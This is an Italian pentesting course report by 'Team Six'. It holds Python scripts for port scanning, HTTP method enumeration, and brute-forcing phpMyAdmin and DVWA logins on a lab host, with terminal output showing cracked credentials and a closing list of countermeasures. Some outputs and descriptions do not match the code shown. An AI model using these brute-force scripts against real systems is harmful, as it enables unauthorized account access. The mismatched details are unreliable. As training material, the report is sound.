TEAM SIX

Dal 2023

Report compagnia THETA

Rapporto a cura di:
Alessandro Moscetti; Davide Diglio; Giacomo Caregnato;
Gian Marco Pellegrino; Massimo Cinquegrana; Simone Caracci; Stefano Castiglioni

Pentesting

- Raccolta delle informazioni ✓
- Scansione della rete ✓
- Enumerazione ✓
- Exploit ✓
- Mantenimento
- Scalata di privilegi
- Backdoor
- Report ✓

Programma

I contenuti di questo report

TEAM SIX
Dal 2023

01 Design di rete

02 Port Scanning dei servizi attivi

03 Enumerazione metodi HTTP (Python)

04 Report attacco Brute Force (PhpMyAdmin)

05 Report attacco Brute Force (DVWA)

06 Risultati e contromisure

Strumenti utilizzati

2°S

Modulo HTTP.client

Codice che permette di acquisire informazioni riguardo i verbi HTTP abilitati su un Web Browser remoto.

4°S

Attacco Brute force

Attacco basato su molteplici prove di combinazioni possibili. Utilizzato per trovare credenziali di accesso.

1°S

Draw.IO

Strumento utilizzato per la costruzione del design per messa in sicurezza di componenti critiche.

3°S

Port Scanner

Codice che prende in input un IP e un intervallo di porte, controllando se queste siano aperte o meno e nel caso individuare i servizi attivi su esse.

5° S

Canva

Editor per la redazione e compilazione del report.

TEAM SIX

Dal 2023

Quattro livelli di sicurezza.

WAF, FireWall, IDS/IPS e HoneyPot

Tre zone separate.

DMZ, Rete Interna, Zona Server

Due segmentazioni di rete.

Segmentazione Rete Interna e Segmentazione Zona Server

```python
import socket

def scan_target(target_host, target_ports):
    for target_port in target_ports:
        try:
            # Crea un oggetto socket
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            # Imposta un timeout per la connessione (facoltativo)
            client.settimeout(1)

            # Prova a connettersi alla porta
            result = client.connect_ex((target_host, target_port))

            # Se la connessione ha successo, la porta è aperta
            if result == 0:
                print(f"Port {target_port} e' aperta")
            else:
                print(f"Port {target_port} e' chiusa")

            # Chiudi la connessione
            client.close()

        except KeyboardInterrupt:
            print("Scansione interrotta.")
            return
        except Exception as e:
            print(f"Errore durante la scansione: {e}")
            pass

if __name__ == '__main__':
    target_host = input("Inserisci l'indirizzo IP del target: ")
    target_ports = [int(port) for port in input("Inserisci le porte da scansionare (es. 80, 443, 8080): ").split(",")]

    scan_target(target_host, target_ports)
```

Port Scanner

Questo programma serve per scansionare le porte attive di un determinato indirizzo IP. L'utente dovrà inserire l'indirizzo IP che verrà pingato per verificare se è raggiungibile o meno. Se raggiungibile, verrà chiesto di scegliere un range di porte che il programma scansionerà. Successivamente, il programma cercherà di stabilire una connessione con ogni porta nel range e riporterà quali sono le porte aperte. Inoltre, fornirà nel risultato i servizi attivi di ogni porta riportata.

```python
import http.client
import socket
import os

def HTTPMeth():
    while True:
        target = input("\nInserisci indirizzo IP-target: ")
        try:
            socket.inet_pton(socket.AF_INET, target)
            response = os.system("ping -c 1 " + target)
            if response != 0:
                print("\n\t\tIndirizzo IP non raggiungibile, riprova.")
            else:
                break
        except socket.error:
            print("\n\t\tIndirizzo IP non valido, riprova.")

    ports = [80, 443]
    methods = ["OPTIONS", "GET", "HEAD", "POST", "PUT", "DELETE", "TRACE", "CONNECT"]
    print("\nLista metodi HTTP:")
    for port in ports:
        try:
            for meth in methods:
                conn = http.client.HTTPConnection(target, port)
                conn.request(meth, '/')
                response = conn.getresponse()

                if response.status == 200:
                    print("[+] " + meth + " abilitato su porta " + str(port))
                else:
                    print("[-] " + meth + " disabilitato su porta " + str(port))
                conn.close()
        except ConnectionRefusedError:
            print(f"\nPorta {port} non aperta")

if __name__ == "__main__":
    HTTPMeth()
```

Verbi HTTP

Questo programma è progettato per testare diversi metodi HTTP su porte specifiche di un indirizzo IP. Una volta in esecuzione, il programma chiede un indirizzo IP e verifica tramite un ping se l'indirizzo è valido. Appurato che sia l'indirizzo corretto, procederà alla verifica dei metodi su porte predefinite (80 per HTTP e 443 per HTTPS). Stabilisce una connessione HTTP con il server web utilizzando i metodi presenti nel programma e, se la riposta ha uno stato 200 ok, il programma stampa che il metodo è abilitato su quella porta. In caso contrario, il programma dirà che il metodo non è abilitato. Se una porta non è aperta, il programma dirà che la porta non è aperta.

Risultati e dati delle analisi

Con il test di rilevamento dei verbi HTTP (enumerazione) siamo andati ad indagare quali dei metodi fossero attivi sulla porta 80.

```
┌──(kali㉿kali)-[~]
└─$ python enumerazione.py

Inserisci indirizzo IP-target: 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=1.16 ms

--- 192.168.50.101 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.159/1.159/1.159/0.000 ms

Inserisci il percorso specifico da verificare (Es: /test): /dvwa/login.php

Lista metodi HTTP:
[+] OPTIONS abilitato su porta 80
[+] GET abilitato su porta 80
[+] HEAD abilitato su porta 80
[+] POST abilitato su porta 80
[+] PUT abilitato su porta 80
[+] DELETE abilitato su porta 80
[+] TRACE abilitato su porta 80
[-] CONNECT disabilitato su porta 80

Porta 443 non aperta
```

Eseguendo il codice di Port Scanner, abbiamo confermato che la porta 80 (quindi la porta predefinita per i servizi HTTP) fosse aperta.

```
┌──(kali㉿kali)-[~/Desktop]
└─$ python ScanPorta.py
Inserisci l'indirizzo IP del target: 192.168.50.101
Inserisci le porte da scansionare (es. 80, 443, 8080): 80
Port 80 is open
```

Attacco Brute force

PhpMyAdmin

Click per ingrandire le immagini

Cred. MySQL

Serve per la gestione dei database, memorizza le informazioni degli utenti, archiviando le informazioni in tabelle.

```
mysql> CREATE USER 'gimp'@'localhost' IDENTIFIED BY 'pass';
Query OK, 0 rows affected (0.00 sec)

mysql> GRANT ALL PRIVILEGES ON *.* TO 'gimp'@'localhost';
Query OK, 0 rows affected (0.00 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT User,Host FROM mysql.user;
+------------------+-----------+
| User             | Host      |
+------------------+-----------+
| debian-sys-maint |           |
| guest            | %         |
| root             | %         |
| gimp             | localhost |
+------------------+-----------+
4 rows in set (0.00 sec)
```

Codice

Questo programma ci permette di effettuare l'attacco brute force. Prende username e password da delle liste e prova tutte le combinazioni possibili.

```
import requests
import re

def cred_pma(name, passwd, token):
    return {
        "pma_username": name,
        "pma_password": passwd,
        "server": 1,
        "token": token
    }

def Read_File(filename):
    while True:
        try:
            with open(filename, 'r') as f:
                data = f.read().splitlines()
            return data
        except KeyboardInterrupt:
            print("\n\nArrivederci !!")
            exit()
        except:
            print(f"\nErrore, file non trovato.\n")

def get_token_from_page(content):
    pattern = r'name="token" value="([^"]+)"'
    match = re.search(pattern, content)
    if match:
        return match.group(1)
    else:
        return None

def BruteFPMA():
    url = "http://192.168.50.101/phpMyAdmin/"

    usernames = Read_File(input("Inserisci il nome del file contenente i nomi utente: "))
    passwords = Read_File(input("Inserisci il nome del file contenente le password: "))
    credenziali_trovate = False

    for name in usernames:
        for passwd in passwords:
            req = requests.get(url)
            if req.status_code == 200:
                token = get_token_from_page(req.text)  # Ottieni il token dalla pagina
                if token:
                    credenziali = cred_pma(name, passwd, token)
                    req = requests.post(url, data=credenziali)  # Una richiesta POST invece di TRACE

                    if "Access denied" not in req.text:  # Verifica il messaggio di risposta per l'autenticazione corretta
                        print(f"\nCredenziali trovate!\n\t[Username] = {name}\n\t[Password] = {passwd}")
                        credenziali_trovate = True
                        break
                else:
                    print("Token non trovato. Impossibile procedere.")
                    return

    if not credenziali_trovate:
        print("Credenziali non trovate !(\n")

def BF():
    print("Tentativo di Bruteforce")
    print("1) phpMyAdmin")
    print("2) Esci\n")
    while True:
        try:
            scl = int(input("[Scelta]>>> "))
            if scl not in [1, 2, 3]:
                print("\n Scelta non valida!  ")
                continue
            if scl == 1:
                BruteFPMA()
            if scl == 2:
                exit()
        except ValueError:
            print("\nScelta non valida\n")

# Esegui il menu BF() per iniziare il programma.
BF()
```

Accesso

Una volta trovata la combinazione corretta, il programma ci fornisce le credenziali per l'accesso.

```
┌──(gimp㉿kali)-[~/Desktop]
└─$ python splitphp.py
Tentativo di Bruteforce
1) phpMyAdmin
2) Esci

[Scelta]>>> 1
Inserisci il nome del file contenente i nomi utente: utenti.txt
Inserisci il nome del file contenente le password: password.txt
        Credenziali trovate!
        [Username] = gimp
        [Password] = pass
```

Attacco Brute force

DVWA

Click per ingrandire le immagini

Codice

Come per phpMyAdmin, questo brute force prende combinazioni di username e password nel tentativo di accedere al sito.

```python
import requests
import re

def cred_dvwa(name, passwd):
    return {
        "username": name,
        "password": passwd,
        "Login": "Login"
    }


def Read_File(filename):
    while True:
        try:
            with open(filename, 'r') as f:
                data = f.read().splitlines()
            return data
        except KeyboardInterrupt:
            print("\n\n\tArrivederci :)")
            exit()
        except:
            print(f"\nErrore, file non trovato.\n")


def BruteFDVWA():
    url = "http://192.168.50.101/dvwa/login.php"

    usernames = Read_File(input("Inserisci il nome del file contenente i nomi utente: "))
    passwords = Read_File(input("Inserisci il nome del file contenente le password: "))
    credenziali_trovate = False

    for name in usernames:
        for passwd in passwords:
            credenziali = cred_dvwa(name, passwd)
            req = requests.post(url, data=credenziali)
            if req.status_code == 200 and "Login failed" not in req.text:
                print(f"\tCredenziali trovate!\n\t[Username] = {name}\n\t[Password] = {passwd}")
                credenziali_trovate = True
    if not credenziali_trovate:
        print("Credenziali non trovate :(\n")

def BF():
    print("Tentativo di Bruteforce")
    print("1) DVWA")
    print("2) Esci\n")
    while True:
        try:
            scl = int(input("[Scelta]>>> "))
            if scl not in [1, 2, 3]:
                print(" Scelta non valida!  ")
                continue
            if scl == 1:
                BruteFDVWA()
            if scl == 2:
                break
        except ValueError:
            print("\nScelta non valida\n")

# Esegui il menu BF() per iniziare il programma.
BF()
```

Accesso

Una volta trovata la corretta combinazione, il programma si ferma e ci comunica quali sono le credenziali corrette.
Aumentando il livello di sicurezza abbiamo notato che aumenta il tempo impiegato per trovare username e password.

```
┌──(gimp㉿kali)-[~/Desktop]
└─$ python splitdvwa.py
Tentativo di Bruteforce
1) DVWA
2) Esci

[Scelta]>>> 1
Inserisci il nome del file contenente i nomi utente: utenti.txt
Inserisci il nome del file contenente le password: password.txt
        Credenziali trovate!
        [Username] = admin
        [Password] = password
```

Report finale

Rete implementata con diverse misure di sicurezza:

- Firewall perimetrale;
- Honey pot: Funziona da trappola. Sembra essere una zona vulnerabile ma in realtà è monitorata per rilevare possibili attività dannose);
- IDS/IPS: Sono due sistemi di sicurezza. Uno rileva e segnala attività pericolose, l'altro può anche bloccarle.

Creazione strumenti di analisi:

- Port scanning;
- Enumerazione Verbi HTTP;
- Tentativo brute force.

Debug dei codici creati.

Contromisure

per evitare vulnerabilità

- Usare password più complesse e di cambiarle periodicamente o utilizzare un’autenticazione a più fattori.
- Installare e tenere aggiornati software antivirus (le librerie degli antivirus non aggiornate potrebbero creare vulnerabilità);
- Formazione del personale (corsi sul corretto utilizzo degli strumenti di sicurezza);
- Utilizzo di file backup per i server interni;
- Protezione della sala server (controllo degli accessi, sistema di raffreddamento dell’aria, corretta messa in posa dei cavi, isolazione acustica, misure antincendio).

Number of characters	Lowercase letters only	At least one uppercase letter	At least one uppercase letter +number	At least one uppercase letter +number+symbol
1	Instantly	Instantly	-	-
2	Instantly	Instantly	Instantly	-
3	Instantly	Instantly	Instantly	Instantly
4	Instantly	Instantly	Instantly	Instantly
5	Instantly	Instantly	Instantly	Instantly
6	Instantly	Instantly	Instantly	Instantly
7	Instantly	Instantly	1 min	6 min
8	Instantly	22 min	1 hrs	8 hrs
9	2 min	19 hrs	3 days	3 wks
10	1 hrs	1 mths	7 mths	5 yrs
11	1 day	5 yrs	41 yrs	400 yrs
12	3 wks	300 yrs	2,000 yrs	34,000 yrs

Source: Security.org

Grazie!

Contattaci per qualsiasi domanda.

TEAM SIX
Dal 2023

Numero di telefono
0123 123456

Indirizzo e-mail
teamsix@cybersecurityspecialist.it

Sito web
www.teamsix/pentesting.com

APPENDICE

```
mysql> CREATE USER 'gimp'@'localhost' IDENTIFIED BY 'pass';
Query OK, 0 rows affected (0.00 sec)

mysql> GRANT ALL PRIVILEGES ON *.* TO 'gimp'@'localhost';
Query OK, 0 rows affected (0.00 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT User,Host FROM mysql.user;
+------------------+-----------+
| User             | Host      |
+------------------+-----------+
| debian-sys-maint |           |
| guest            | %         |
| root             | %         |
| gimp             | localhost |
+------------------+-----------+
4 rows in set (0.00 sec)
```

Click sull’immagine per tornare alla slide

```python
import requests
import re

def cred_pma(name, passwd, token):
    return {
        "pma_username": name,
        "pma_password": passwd,
        "server": 1,
        "token": token
    }

def Read_File(filename):
    while True:
        try:
            with open(filename, 'r') as f:
                data = f.read().splitlines()
            return data
        except KeyboardInterrupt:
            print("\n\nArrivederci :)")
            exit()
        except:
            print(f"\nErrore, file non trovato.\n")

def get_token_from_page(content):
    pattern = r'name="token" value="([^"]+)"'
    match = re.search(pattern, content)
    if match:
        return match.group(1)
    else:
        return None
```

```python
def BruteFPMA():
    url = "http://192.168.50.101/phpMyAdmin/"

    usernames = Read_File(input("Inserisci il nome del file contenente i nomi utente: "))
    passwords = Read_File(input("Inserisci il nome del file contenente le password: "))
    credenziali_trovate = False

    for name in usernames:
        for passwd in passwords:
            req = requests.get(url)
            if req.status_code == 200:
                token = get_token_from_page(req.text)  # Ottieni il token dalla pagina
                if token:
                    credenziali = cred_pma(name, passwd, token)
                    req = requests.post(url, data=credenziali)  # Usa richiesta POST invece di TRACE

                    if "Access denied" not in req.text:  # Verifica il messaggio di risposta per l'autenticazione corretta
                        print(f"\tCredenziali trovate!\n\t[Username] = {name}\n\t[Password] = {passwd}")
                        credenziali_trovate = True
                        break
                else:
                    print("Token non trovato. Impossibile procedere.")
                    return

    if not credenziali_trovate:
        print("Credenziali non trovate :(\n")

def BF():
    print("Tentativo di Bruteforce")
    print("1) phpMyAdmin")
    print("2) Esci\n")
    while True:
        try:
            scl = int(input("[Scelta]>>> "))
            if scl not in [1, 2, 3]:
                print(" Scelta non valida!  ")
                continue
            if scl == 1:
                BruteFPMA()
            if scl == 2:
                break
        except ValueError:
            print("\nScelta non valida\n")

# Esegui il menu BF() per iniziare il programma.
BF()
```

Click sull’immagine per tornare alla slide

```
┌──(gimp㉿kali)-[~/Desktop]
└─$ python splitphp.py
Tentativo di Bruteforce
1) phpMyAdmin
2) Esci

[Scelta]>>> 1
Inserisci il nome del file contenente i nomi utente: utenti.txt
Inserisci il nome del file contenente le password: password.txt
        Credenziali trovate!
        [Username] = gimp
        [Password] = pass
```

Click sull’immagine per tornare alla slide

```python
import requests
import re

def cred_dvwa(name, passwd):
    return {
        "username": name,
        "password": passwd,
        "Login": "Login"
    }


def Read_File(filename):
    while True:
        try:
            with open(filename, 'r') as f:
                data = f.read().splitlines()
            return data
        except KeyboardInterrupt:
            print("\n\nArrivederci :)")
            exit()
        except:
            print(f"\nErrore, file non trovato.\n")
```

```python
def BruteFDVWA():
    url = "http://192.168.50.101/dvwa/login.php"

    usernames = Read_File(input("Inserisci il nome del file contenente i nomi utente: "))
    passwords = Read_File(input("Inserisci il nome del file contenente le password: "))
    credenziali_trovate = False

    for name in usernames:
        for passwd in passwords:
            credenziali = cred_dvwa(name, passwd)
            req = requests.post(url, data=credenziali)
            if req.status_code == 200 and "Login failed" not in req.text:
                print(f"\tCredenziali trovate!\n\t[Username] = {name}\n\t[Password] = {passwd}")
                credenziali_trovate = True
    if not credenziali_trovate:
        print("Credenziali non trovate :(\n")

def BF():
    print("Tentativo di Bruteforce")
    print("1) DVWA")
    print("2) Esci\n")
    while True:
        try:
            scl = int(input("[Scelta]>>> "))
            if scl not in [1, 2, 3]:
                print(" Scelta non valida!  ")
                continue
            if scl == 1:
                BruteFDVWA()
            if scl == 2:
                break
        except ValueError:
            print("\nScelta non valida\n")

# Esegui il menu BF() per iniziare il programma.
BF()
```

Click sull’immagine per tornare alla slide

```
┌──(gimp㉿kali)-[~/Desktop]
└─$ python splitdvwa.py
Tentativo di Bruteforce
1) DVWA
2) Esci

[Scelta]>>> 1
Inserisci il nome del file contenente i nomi utente: utenti.txt
Inserisci il nome del file contenente le password: password.txt
        Credenziali trovate!
        [Username] = admin
        [Password] = password
```

Click sull'immagine per tornare alla slide